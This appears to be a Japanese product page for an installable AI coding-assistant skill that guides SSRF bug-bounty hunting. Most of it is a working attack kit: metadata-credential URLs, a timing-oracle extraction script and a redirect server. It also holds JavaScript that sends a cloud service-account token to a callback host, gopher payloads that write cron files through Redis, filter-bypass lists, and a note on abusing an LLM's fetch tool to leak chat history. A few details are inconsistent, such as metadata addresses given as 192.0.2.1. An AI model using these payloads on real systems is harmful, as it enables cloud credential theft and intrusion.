hunt-ssrf について
hunt-ssrf は、URL 取得、インポート、プレビュー、Webhook 機能におけるサーバーサイドリクエストフォージェリを調査するセキュリティテスト向けスキルです。内部対象を試す前に、アウトオブバンドの DNS または HTTP 通信でサーバーからのリクエストを確認します。
主な機能
- 01URL を受け取る機能の洗い出し
- 02アウトオブバンド通信によるサーバーリクエストの確認
- 03クラウドメタデータと内部サービスのテスト
- 04リダイレクトとヘッドレスブラウザー環境の調査
- 05証拠記録とソースコード検索
活用シーン
- 01リンクプレビューやリモートファイルインポートのテスト
- 02Webhook 登録エンドポイントの調査
- 03クラウドメタデータへのアクセスリスクの確認
- 04PDF 生成機能による内部ネットワーク到達性の評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-ssrfインストール後、Claude Code で/hunt-ssrfを入力して読み込まれたか確認します。
詳細
使用する場面
対象に、URL の取得、リモートソースからのデータのインポート、プレビューやスクリーンショットの生成、Webhook の処理、またはドキュメントのレンダリングを行う機能がある場合に使用します。SSRF により、攻撃者はサーバー自身にネットワークリクエストを実行させ、内部サービス、クラウドのメタデータエンドポイント、その他通常はアクセスできないインフラに到達できます。リンクプレビュー、ファイルインポート、画像プロキシ、Webhook 登録、PDF 生成、リダイレクト追跡を行う各エンドポイントが候補です。特に価値の高い対象は、クラウドホスト型 SaaS、Kubernetes/オーケストレーションプラットフォーム、CI/CD システム、URL 取得機能です。
最重要ターゲット
SSRF は、メタデータサービスから認証情報を取得できるクラウドインフラ(AWS、GCP、Azure)上で対象が稼働している場合、またはサーバーが複雑な内部ネットワーク(Kubernetes クラスター、マイクロサービスメッシュ、内部 API)内にある場合に、最も価値が高くなります。優先度の高い対象は次のとおりです。
- クラウドホスト型 SaaS 製品(
[REDACTED_IP]またはmetadata.google.internalにある GCP メタデータ、AWS IMDSv1) - Kubernetes/オーケストレーションプラットフォーム — 集約 API サーバー、metrics-server、kubelet エンドポイントから、特権を伴うクラスター操作が可能です
- 社内開発者向けツール — CI/CD、ワークフローオーケストレーション(Flyte、Argo)、外部に公開されていない管理パネル
- リンクプレビュー/URL 取得機能 — Reddit 形式のプレビュー API、Slack 形式の展開表示、メディア処理ツール
- データセット/ファイルのインポートパイプライン — ユーザーに代わってリモート URL を取得するものすべて
- エンタープライズ向けセルフホスト可能ソフトウェア(GitHub Enterprise、GitLab)— SSRF は内部サービス経由で RCE につながることがよくあります
SSRF により、クラウド認証情報の取得 → アカウント乗っ取り、内部管理 API へのアクセス → データ窃取、または RCE への連鎖が実現する場合、報奨金は最も高くなります。
OOB で確認できなければ未発見の扱い(最初に読むこと)
ブラインド SSRF の主張には、アウトオブバンド(OOB)での確認が必須です。例外はありません。
OOB とは、Burp Collaborator ドメイン、interactsh-client リスナー、canarytoken、またはサーバーが実際に依頼に応じて外向きのネットワーク接続を行ったことを確認できる、自分が管理する DNS+HTTP 受信先を指します。
SSRF の確認にならないもの
- サーバーがエラーメッセージ内で URL をそのまま返すこと。例:
"The Web application at http://evil.example.com/x could not be found"— これはサーバーが入力をエラー文字列に整形しているだけであり、外向きの HTTP リクエストを行っているわけではありません。エラーの原因は文字列整形であり、ネットワーク障害ではありません。 - 外部 URL と
localhostで、サーバーが異なるステータスコードを返すこと。実際の取得ではなく、URL スキームのバリデーターが異なるエラーレスポンスを返す場合があります。 - URL の送信後にレスポンスが遅延すること。遅延は、HTTP の取得完了ではなく、パーサー内での DNS 名前解決の試行による場合があります。
SSRF の確認となるもの
- 一意の Collaborator サブドメインへの DNS ルックアップが、OOB リスナーに記録されること。
- サーバーの送信元 IP と User-Agent を伴う HTTP リクエストが、Collaborator の HTTP エンドポイントに届くこと。
- JavaScript 実行コンテキスト(PDF レンダラー、ヘッドレスブラウザー)での SSRF の場合、サーバーからコールバック URL への fetch が確認されること。
デフォルトのワークフロー
- まず Collaborator のサブドメインを用意します(どのシンクが反応したかコールバックで分かるよう、シンクごとにサブタグを付けます。例:
dlsrcurl.<collab>、import.<collab>など)。 - 対象のエンドポイントにリクエストを送信します。
- 30〜120 秒待ってから、OOB リスナーを確認します。
- コールバックが確認できた場合に限り、SSRF があると主張します。
- サブタグ付きのすべてのシンクでコールバックがゼロの場合、エラーメッセージに URL が表示されていても、SSRF の主張は取り下げる必要があります。
許可を得たエンゲージメントからの教訓: SharePoint の /_layouts/15/download.aspx?SourceUrl= は、タイトルに "The Web application at <attacker-URL> could not be found" と表示された 500 エラーを返しました。初回のスキャンでは、サーバーが URL を明らかに処理しているとして、SSRF の可能性があると判定しました。12 個以上の URL を受け付けるパラメーターに対して Collaborator タグ付きのペイロードを 38 個送信しましたが、DNS と HTTP のインタラクションはいずれもゼロでした。この「エコー」はクライアント側でのエラー文字列の整形によるもので、サーバーから外部への HTTP リクエストは行われていませんでした。このパスは汎用の URL フェッチャーではなく、実際には SP 内部の SPFile/SPWebApplication リゾルバーです。これを SSRF として報告しても、トリアージで N/A と判定されていたでしょう。
攻撃対象領域の兆候
探索する URL パターン
/api/*/preview
/api/*/fetch
/api/*/import
/api/*/webhook
/api/*/proxy
/api/*/render
/api/*/link
/api/*/screenshot
/api/*/export
/api/*/validate
?url=
?uri=
?endpoint=
?redirect=
?src=
?source=
?feed=
?host=
?target=
?dest=
?file=
?path=
?callback=
?image=
?load=
?fetch=
JS パターン(クライアント側のコード内)
// Look for these in JS bundles
fetch(userInput)
axios.get(params.url)
XMLHttpRequest + variable URL
url: req.body.url
src: params.source
href: query.endpoint
レスポンスヘッダーの兆候
X-Forwarded-For headers echoed back
Server: internal-service
Via: 1.1 internal-proxy
X-Cache headers revealing internal hostnames
技術スタックの兆候
- Kubernetes — 外部公開されている集約 API、メトリクスエンドポイント
- GCP — Compute Engine/GKE 上で稼働し、URL をフェッチするサービス
- URL フェッチライブラリ(
requests、node-fetch、axios)を使用する Node.js/Python - スクリーンショットや PDF の生成に使われる ヘッドレスブラウザー(Puppeteer、PhantomJS)— 非常に価値が高い対象です
- XML/DSPL/CSV のインポート機能 — XXE 型の SSRF ベクトル
- OAuth/Webhook 登録エンドポイント
ステップごとのハンティング手法
-
対象全体の URL 入力パラメーターを洗い出します:JS ファイルをスパイダーして fetch 呼び出しを探し、すべての API ドキュメントを確認し、ファイルのインポート、リンクのプレビュー、Webhook、画像プロキシ、リダイレクト機能を探します。
-
アウトオブバンド検出サーバーをセットアップします:Burp Collaborator、interactsh、または
https://canarytokens.orgを使用します。テストごとに固有の DNS/HTTP コールバックドメインが必要です。 -
まずコールバック URL をパラメーター値として送信します(何よりも先にブラインド SSRF を確認します)。
url=https://YOUR.interactsh.com/testサーバーからアウトバウンド接続が行われることを確認します。これにより、内部ターゲットを試す前に実行を確認できます。
-
内部のクラウドメタデータエンドポイントをテストします:
- GCP:
http://metadata.google.internal/computeMetadata/v1/ - AWS:
http://[REDACTED_IP]/latest/meta-data/ - Azure:
http://[REDACTED_IP]/metadata/instance
- GCP:
-
localhost と一般的な内部ポートをテストします:
http://localhost/ http://127.0.0.1:8080/ http://127.0.0.1:6443/ (Kubernetes API) http://127.0.0.1:2379/ (etcd) http://127.0.0.1:9090/ (Prometheus) http://127.0.0.1:9200/ (Elasticsearch) -
リダイレクトベースの SSRF を確認します — エンドポイントが初期 URL を検証する一方で 30x リダイレクトに従う場合は、内部アドレスを指すリダイレクトサーバーをホストします。Kubernetes の報告(Report 3)は、ハイジャックされた API サーバーが 30x 応答を返すことで、特に発生したものです。
6b. タイミングオラクル — IMDS からのブラインドデータ抽出 — SSRF が確認されても応答内容が返されない場合(例:WordPress の pingback.ping が faultCode 0 を返す場合)は、タイミング差を利用して AWS IAM ロールを列挙し、IMDS メタデータを文字単位で抽出します。
import subprocess, time
def ssrf_time(url):
xml = f'''<?xml version="1.0"?><methodCall><methodName>pingback.ping</methodName>
<params><param><value><string>{url}</string></value></param>
<param><value><string>https://target.com/</string></value></param>
</params></methodCall>'''
start = time.perf_counter()
subprocess.run(["curl", "-sk", "-X", "POST",
"https://target.com/xmlrpc.php",
"-H", "Content-Type: text/xml", "-d", xml],
capture_output=True, timeout=15)
return time.perf_counter() - start
# IMDS response size correlates with timing
baseline = ssrf_time("http://[REDACTED_IP]/latest/meta-data/")
# Role exists = JSON payload (slower), 404 = tiny response (faster)
for role in ["admin","ec2","s3","lambda","ecs","SSM-Role","EC2Role"]:
t = ssrf_time(f"http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/{role}")
print(f" {role}: {t:.3f}s -> {'FOUND' if t > baseline*1.15 else '404'}")
現場での証拠(retail.example.com、2026 年 6 月): IMDS /meta-data/ = 344ms、/iam/security-credentials/ = 435ms、/instance-id = 301ms。タイミングは応答サイズに比例して変化するため、IAM ロールとメタデータの内容をブラインドで抽出できます。
注意点: ネットワークのジッターにより ±50ms のばらつきが生じます。各テストを 3 回実行し、中央値を使用してください。ベースラインのばらつきが 20% を超える場合はスキップしてください。
-
JavaScript 実行コンテキストをテストします(ヘッドレスブラウザー、PDF レンダラーなど):
- 内部サービスに
XMLHttpRequestまたはfetch()呼び出しを行う<script>タグを挿入します - DNS 経由で流出させます:応答データをコールバックドメインのサブドメインにエンコードします
- 内部サービスに
-
タイミング差とエラーメッセージの変化を利用して内部ネットワークを列挙します:
- 応答時間を使ってポートスキャンを行います(
connection refusedとタイムアウトを比較) - エラーメッセージにホスト名/IP の漏えいがないか確認します
- 応答時間を使ってポートスキャンを行います(
-
発見事項を連鎖させます — 内部サービスへの SSRF がある場合は、次を探します:
- 認証不要の管理者エンドポイント
- Redis、memcached(プロトコルスマグリング)
- 内部 OAuth トークンエンドポイント
- SSRF → CSRF → RCE(GitHub Enterprise のパターン)
-
報告前に各段階のスクリーンショットを添えて、チェーン全体を記録します。
ペイロードと検出パターン
基本的なアウトオブバンド検出
# Using interactsh-client
interactsh-client -v
# Test parameter
curl --max-time 30 --connect-timeout 10 -s "https://target.com/api/preview?url=https://YOUR_ID.oast.pro"
# With common headers that might unlock SSRF
curl --max-time 30 --connect-timeout 10 -s "https://target.com/api/fetch" \
-H "Content-Type: application/json" \
-d '{"url":"https://YOUR_ID.oast.pro"}'
クラウドメタデータのペイロード
# GCP - requires Metadata-Flavor header (test if server adds it automatically)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://[REDACTED_IP]/computeMetadata/v1/project/project-id
# AWS IMDSv1 (no auth required)
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/
http://[REDACTED_IP]/latest/user-data
# Azure
http://[REDACTED_IP]/metadata/instance?api-version=2021-02-01
localhost/内部ポートのペイロード
# Kubernetes internals
http://127.0.0.1:6443/api/v1/namespaces
http://10.0.0.1:6443/api/v1/secrets
http://127.0.0.1:10250/pods # kubelet
http://127.0.0.1:2379/v2/keys # etcd
# Common internal services
http://127.0.0.1:6379/ # Redis (check for inline commands)
http://127.0.0.1:9200/_cat/indices # Elasticsearch
http://127.0.0.1:5601/ # Kibana
http://127.0.0.1:8500/v1/catalog/services # Consul
リダイレクトベースの SSRF(直接アクセスがブロックされる場合)
# Simple Python redirect server
from http.server import HTTPServer, BaseHTTPRequestHandler
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(301)
self.send_header('Location', 'http://[REDACTED_IP]/latest/meta-data/')
self.end_headers()
HTTPServer(('192.0.2.1', 8080), Redirect).serve_forever()
JavaScript ベースの SSRF(ヘッドレスブラウザーのコンテキスト)
// Exfil via fetch
fetch('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token', {
headers: {'Metadata-Flavor': 'Google'}
}).then(r=>r.text()).then(d=>{
fetch('https://YOUR.callback.com/?d='+btoa(d))
})
// DNS exfil for blind contexts
var x = new XMLHttpRequest();
x.open('GET','http://[REDACTED_IP]/latest/meta-data/');
x.send();
x.onload = function(){
var img = new Image();
img.src = 'https://'+btoa(x.responseText.substring(0,50))+'.YOUR.callback.com';
}
ソースコードレビュー用の grep パターン
# Find URL fetch operations
grep -rE "(fetch|curl|urllib|requests\.get|http\.get|axios\.get)\s*\(" --include="*.py" --include="*.js" --include="*.go"
# Find URL parameters being passed to HTTP clients
grep -rE "(url|uri|endpoint|redirect|src|source)\s*=\s*req\.(query|body|params)" --include="*.js"
# Find redirect following
grep -rE "(follow_redirects|allow_redirects|followRedirects)\s*=\s*[Tt]rue"
ffuf によるパラメーターの検出
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-u "https://target.com/api/endpoint?FUZZ=https://YOUR.callback.com" \
-fs 0 -mc all
よくある根本原因
-
「ユーザーが安全だと言った」 — 開発者が、リモートリソースの取得(リンクのプレビュー、サムネイル、Webhook)にユーザー提供のURLを使い、宛先を検証しないケースです。機能自体は正当ですが、検証が欠けていることがバグです。
-
リダイレクトによる許可リストの迂回 — 開発者が最初のURLを許可リストと照合して検証する一方で、HTTPクライアントはリダイレクトを自動的に追跡するよう設定しています。攻撃者が許可リストに登録されたサーバーから、内部アドレスへリダイレクトさせます。
-
集約/プロキシ API への信頼 — Kubernetes 形式のアーキテクチャでは、API 集約レイヤーが登録済みの拡張サーバーからの 30x レスポンスを無条件にプロキシする場合があります。拡張サーバーを 1 台侵害するだけで、コア API に対する SSRF が可能になります。
-
サンドボックス化されていないサーバーサイドレンダリング — ヘッドレスブラウザー機能(PDF 生成、リンクプレビューのスクリーンショット)は、メタデータサービスにアクセスできるネットワーク権限を持つコンテキストで、攻撃者が制御する JavaScript を実行します。
-
外部エンティティを取得する XML/DSPL/ファイルパーサー — 構造化ファイル(XML、DSPL、リモートスキーマを使う CSV)を解析するインポート機能が、攻撃者の制御する URL を取得します。多くの場合、URL 検証はまったく行われません。
-
レスポンスの差異を通じた内部ホスト名の漏えい — サービスは、内部ホストと外部ホストで異なるエラーメッセージ、応答時間、レスポンスサイズを返すため、コンテンツが返されない場合でも、ブラインド列挙が可能になります。
-
IMDSv1 が有効なまま — IMDSv2(AWS)への移行が済んでいない、または
Metadata-Flavorヘッダーを必須にしていない(GCP)クラウド環境では、SSRF があれば誰でも認証なしで認証情報にアクセスできます。
バイパス手法
ブロックリストの迂回(localhost、127.0.0.1、169.254.x.x がブロックされている場合)
# IPv6 equivalents
http://[::1]/
http://[::ffff:127.0.0.1]/
http://[::ffff:[REDACTED_IP]]/
# Decimal/octal/hex encoding of IP
http://2130706433/ (127.0.0.1 decimal)
http://0x7f000001/ (127.0.0.1 hex)
http://0177.0.0.1/ (octal)
http://127.1/ (short form)
http://0/ (resolves to 192.0.2.1)
# DNS rebinding - register a domain that resolves to internal IP after first check
# Use https://lock.cmpxchg8b.com/rebinder.html
# Subdomain pointing to internal IP
http://localtest.me/ (resolves to 127.0.0.1)
http://127.0.0.1.nip.io/
http://customer.attacker.com/ (A record → 192.168.1.1)
# URL parser confusion
http://[email protected]/
http://127.0.0.1#evil.com
http://127.0.0.1%[email protected] (URL encoding)
http://evil.com\.127.0.0.1/ (backslash)
# Protocol confusion
file:///etc/passwd
dict://127.0.0.1:6379/
gopher://127.0.0.1:6379/_FLUSHALL (Redis via gopher)
sftp://attacker.com:11111/
ldap://127.0.0.1/
# Redirect chain bypass
https://allowlisted-domain.com → HTTP 301 → http://[REDACTED_IP]/
# Case variation / URL encoding
http://Localhost/
http://127.0.0.1%[email protected]/
スキーマ/プロトコルの迂回
# When only http/https allowed but implementation is loose
http://[REDACTED_IP]:[email protected]/
//[REDACTED_IP]/
TOCTOU(チェック時と使用時の間)
- URL を検証 → 待機 → 内部アドレスへリダイレクト(DNS リバインディングによる競合状態)
- TTL を 0 に設定したドメインを登録し、検証と取得の呼び出しの間に DNS を切り替える
レスポンスが返されない場合(ブラインド SSRF)
- DNS のみを使ったコールバックを使用する(サブドメインのラベルにデータをエンコード)
- ポートスキャンに時間差を利用する
- 別の HTTP メソッド(PUT/DELETE)を使い、内部サービスで異なる動作を引き起こす
- レスポンスデータを漏えいさせる他のバグ(例:エラーメッセージ、ログ)と組み合わせる
ゲート 0 の検証
レポートを作成する前に、次の 3 点すべてを確認してください。
-
攻撃者は今、何ができますか?
- 内部ネットワークへのアクセスを証明するレスポンスを取得できますか?(メタデータトークン、内部 API のレスポンス、または確認済みの DNS コールバックを示してください)
- ブラインドの場合:特定の内部アドレスに紐づくポートの差異、または確認済みの OOB コールバックを実証できますか?
- 「サーバーがリクエストを送る」だけでは不十分です。リクエストの送信先と返ってくるものを示してください。
-
被害者は何を失いますか?
- クラウドの認証情報(IAM トークン)→ クラウドアカウント全体の侵害ですか?
- 内部サービスのデータ(ユーザーの個人情報、シークレット、API キー)ですか?
- 内部の管理サービスを介して RCE へ移行する能力ですか?
- 答えが「サーバーが自分の URL を取得する」だけなら、深刻度は低いです。実際に到達可能な影響範囲を定量化してください。
-
ゼロから 10 分以内に再現できますか?
- 脆弱なエンドポイントは現在も稼働しており、パラメーターもまだ存在しますか?
- コールバックサーバーに、確実に(断続的ではなく)アクセスが記録されますか?
- 事前知識のない別の人が手順に従って、同じ結果を得られますか?
- 再現に特定のタイミング、トークン、または運が必要な場合は、提出前に不安定な要因を解消してください。
実際の影響の例
シナリオ A:リンクプレビューを介したクラウド認証情報の窃取(Snapchat/GCP パターン)
外部公開された「リンクプレビュー」API は url パラメーターを受け取り、サムネイルコンテンツを生成するために対象サーバーへサーバー側からリクエストを送信していました。この機能は IMDSv1 が有効で、サーバー側で Metadata-Flavor ヘッダーを必須としていない GCP Compute Engine 上で動作していました。url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token を指定すると、攻撃者はインスタンスのサービスアカウント用の有効な OAuth2 アクセストークンを取得できました。このトークンにより、ユーザーデータを含むストレージバケットなど、内部 GCP プロジェクトのリソースへのアクセスが可能になりました。攻撃者はヘッドレスレンダリング環境内で JavaScript を実行し、DNS エンコードしたサブドメイン経由でトークンを窃取して、レスポンス本文の制限を回避しました。
シナリオ B:乗っ取られた集約サーバーを介した Kubernetes API の侵害(Kubernetes パターン)
Kubernetes API 拡張サーバー(metrics-server 相当)を登録できる攻撃者が、集約レイヤーに 302 Location: http://127.0.0.1:6443/api/v1/secrets レスポンスを返しました。集約プロキシは、内部ネットワークのブロックリストに照らしてリダイレクト先を再検証せず、自動的にリダイレクトを追跡していたため、リダイレクトによって、昇格されたクラスター認証情報で動作する集約レイヤー自体が内部 Kubernetes API のシークレットを取得し、レスポンスに含めて返しました。これにより、限定的な API 登録権限を持つ攻撃者が、クラスターのすべてのシークレットを読み取る権限へ昇格できました。これは、信頼されたインフラストラクチャコンポーネントを経由する SSRF による重大な権限昇格です。
公開されたレポートの引用(補完分 +6 — 2018〜2024 年)
以下の実際に確認済みのバグバウンティ/協調的な脆弱性開示事例を、このスキルに追加します。3 つすべてのプロバイダーにおけるクラウドメタデータ SSRF、DNS リバインディング、gopher 経由の Redis-RCE、リンクプレビュー SSRF、ヘッドレスブラウザー/PDF ジェネレーターを介した攻撃チェーンが含まれています。
-
HackerOne — Analytics Reports の SSRF(PDF ジェネレーター → AWS メタデータ) (H1 #2262382 · Writeup)
- サブクラス:ヘッドレスブラウザー SSRF(PDF ジェネレーター)→ AWS メタデータ SSRF(IMDSv1)
- ペイロード:テンプレート要素に
<iframe src="http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/">を注入し、サーバー側でレンダリング。バックエンドの Ruby ループが信頼されていないテンプレート HTML を PDF にレンダリングし、レンダリングされた PDF/エラーメッセージ内に IMDS のレスポンスが反映されました - 根本原因:ユーザーが制御できる未サニタイズのテンプレート断片が PDF レンダリングパイプラインで反映され、IMDSv2 の強制もありませんでした
- 年:2023 — $25,000(CVSS 10.0 Critical)
-
Shopify Exchange — スクリーンショットサービスの SSRF → GCP メタデータ → コンテナの root 権限 (H1 #341876)
- サブクラス:GCP メタデータ SSRF → SSRF から RCE への攻撃チェーン
- ペイロード:partners.shopify.com にストアを作成し、
password.liquidテンプレートを編集してMetadata-Flavor: Googleを付けたhttp://metadata.google.internal/computeMetadata/v1/へのリクエストを埋め込み、Exchange のスクリーンショットサービスを起動してテンプレートをサーバー側でレンダリングしました - 根本原因:スクリーンショットサービスは、ユーザーが制御するテンプレートを取得する際に、メタデータホストのブロックリストも、メタデータを隠蔽するプロキシも使用していませんでした
- 年:2018 — $25,000(ヘッドレスブラウザー → メタデータの代表的な事例)
-
Concrete CMS — DNS リバインディングによる SSRF 緩和策の回避 → AWS IAM キー (H1 #1369312)
- サブクラス:DNS リバインディング SSRF → AWS メタデータ SSRF(IMDSv1)
- ペイロード:URL からのファイルアップロード機能を利用。攻撃者の DNS サーバーが
[REDACTED_IP](公開 IP)と[REDACTED_IP]の間でAレコードを交互に返し、検証と取得の間の競合に勝つために 2〜3 回のリクエストが必要でした。最終的なリクエストで IAM ロールの認証情報を取得しました - 根本原因:ホスト名を一度だけ名前解決して検証し、ダウンロード処理では検証済み IP を固定せずに DNS を再度名前解決していました
- 年:2021 — 8.5.7 / 9.0.1 で修正
-
Yahoo Mail — ブラインド SSRF → Gopher → Redis RCE (Writeup)
- サブクラス:Gopher プロトコルの悪用 → Redis SSRF → SSRF から RCE への連鎖
- ペイロード:
gopher://internal-redis:6379/_*1%0d%0a$8%0d%0aflushall...SET stuff /var/spool/cron/root...BGSAVEを使い、Yahoo Mail のバックエンドにあるブラインド SSRF を利用 — Redis 経由で cron を書き込み、コマンドを実行 - 根本原因:gopher スキームがブロックリストに含まれていなかった;内部 Redis がデフォルトポートで認証なしで稼働していた;SSRF の接続先が、攻撃者のホストから
gopher://への 302 リダイレクトを受け入れていた - 年:2020 — $15,000
-
Reddit Matrix —
preview_urlAPI のブラインド SSRF (H1 #1960765)- サブクラス:リンクプレビュー SSRF(ブラインド、タイミング/応答コードを利用した内部ポートスキャン)
- ペイロード:
GET https://matrix.redditspace.com/_matrix/media/r0/preview_url/?url=http://10.0.0.0:80/— 内部 IP/ポートを変えてリクエスト;修正前は、応答の違いからサービス名と IP が漏えいしていた - 根本原因:リンクプレビュー取得機能が RFC1918/リンクローカルの接続先を拒否していなかった;スキームのみを対象とした許可リスト
- 年:2023 — $6,000
-
Azure DevOps — Service Hooks の SSRF と endpointproxy における DNS リバインディングのバイパス (Binary Security writeup)
- サブクラス:Webhook URL フィールドの SSRF + DNS リバインディング SSRF → Azure IMDS/マネージド ID
- ペイロード:サービスフックの Webhook URL または
endpointproxyの URL パラメーターに、攻撃者が DNS リバインディングを行うホストを設定;2 回目の名前解決で[REDACTED_IP]が返された;CRLF インジェクションを連鎖させ、Azure IMDS に必要なMetadata: trueヘッダーを設定 - 根本原因:検証時と取得時に別々の DNS ルックアップを実行;URL パス内の CRLF によって、Azure IMDS が必要とするヘッダーを注入できた
- 年:2023-2024 — 3 件のレポートで合計 $15,000
検証
このセルフテストを実行して、SSRF ハンティングの準備ができていることを確認します:
-
スキルの整合性 — スキルファイルが読み取り可能で、正しい形式であることを確認します:
grep -q "name: hunt-ssrf" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリの確認 — スキルにカテゴリがあることを確認します:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
落とし穴のセクション — 落とし穴が記載されていることを確認します:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3 つのテストすべてで、スキルが適切に構成され、使用できる状態であることを確認します。
落とし穴
- DNS コールバックのみの SSRF — 接続先サーバーからの DNS ピンバックは SSRF の証明にはなりますが、影響の証明にはなりません。HTTP 応答データ、クラウドメタデータへのアクセス、または内部サービスとのやり取りが必要です。
- 確認を伴わないブラインド SSRF — 応答を読み取らずにリクエストを送るのはブラインド SSRF です。Collaborator/OOB コールバックで実証してください。
- localhost への SSRF だが、開いているポートがない — 127.0.0.1 に到達すれば SSRF の証明にはなります。有用なサービス(メタデータ、管理機能、データベース)へのアクセスを実証する必要があります。
- URL 検証のバイパス —
http://[email protected]やhttp://0x7f000001は、単純な URL パーサーをバイパスします。複数のバイパス手法をテストしてください。 - クラウドメタデータへのアクセス — 192.0.2.1 は SSRF の究極の標的です。IAM 認証情報を 1 つ抽出できれば、深刻度は Critical です。
関連スキルとチェーン
cloud-iam-deep— SSRFはクラウドメタデータサービスへの標準的な侵入経路です。チェーンのプリミティブ:SSRF → IMDSv1トークン窃取 →cloud-iam-deepによる権限昇格で、クロスアカウントロールに対するiam:CreateUser/sts:AssumeRoleに到達します。hunt-cloud-misconfig— 内部専用のバケットやAPIに、SSRFのエグレスを介してアクセスできるようになります。チェーンのプリミティブ:SSRF + DNSリバインディング → SSRF保護エンドポイントの回避 → 内部の/adminまたは非公開S3バケットの読み取り。hunt-llm-ai— fetch_urltoolsを備えたLLMは、ネットワークのエグレス制御を回避するSSRFプロキシになります。チェーンのプリミティブ:LLMのツール使用(fetch_url)+ SSRF → 攻撃者のURLが、LLMコンテナからチャット履歴とIMDSトークンを外部へ送信します。hunt-rce— 内部のRedis/Memcachedはデフォルトで認証がなく、gopher://経由で到達できます。チェーンのプリミティブ:SSRF + Gopher → 内部RedisのCONFIG SET dir+ cron / SSH authorized_keysへの書き込みによるRCE。hunt-cloud-misconfig— 内部専用のバケットやAPIに、SSRFのエグレスを介してアクセスできるようになります。チェーンのプリミティブ:SSRF + DNSリバインディング → SSRF保護エンドポイントの回避 → 内部の/adminまたは非公開S3バケットの読み取り。security-arsenal— フィルターをテストする前に、SSRF IPバイパステーブル(10進数IP、IPv6マップ形式、8進数、末尾のドット、DNSリバインディング、リダイレクトチェーンなど、11の手法)を読み込みます。triage-validation— 「OOBの証拠がなければ、実証されたとはいえない」というゲートを適用します。ブラインドSSRFの報告を提出する前に、すべての主張について、一意のマーカーを含むBurp Collaboratorへのヒットを確認する必要があります。
フェーズX — クラウドメタデータカタログ
| プロバイダー | メタデータエンドポイント |
|---|---|
| AWS IMDSv1 | http://[REDACTED_IP]/latest/meta-data/ |
| GCP | http://metadata.google.internal/computeMetadata/v1/ |
| Azure | http://[REDACTED_IP]/metadata/instance?api-version=2021-02-01 |
| DigitalOcean | http://[REDACTED_IP]/metadata/v1.json |
| Alibaba Cloud | http://[REDACTED_IP]/latest/meta-data/ |
Redis/FastCGI RCEへのGopherプロトコル:
gopher://127.0.0.1:6379/_SET%20crack%20test%0d%0aCONFIG%20SET%20dir%20/var/www/html